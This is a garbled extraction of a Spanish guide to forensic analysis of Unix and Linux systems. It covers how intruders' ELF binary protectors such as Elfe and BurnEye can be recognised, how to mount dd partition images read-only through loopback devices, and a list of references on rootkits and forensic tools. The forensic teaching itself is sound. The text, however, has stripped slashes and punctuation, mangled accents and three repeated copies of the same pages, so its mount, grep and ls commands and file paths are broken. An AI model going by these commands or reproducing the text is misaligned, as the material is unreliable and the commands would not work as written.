xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 48: Análisis Forense de Sistemas GNU/Linux, Unix

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 49: Análisis Forense de Sistemas GNU/Linux, Unix

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

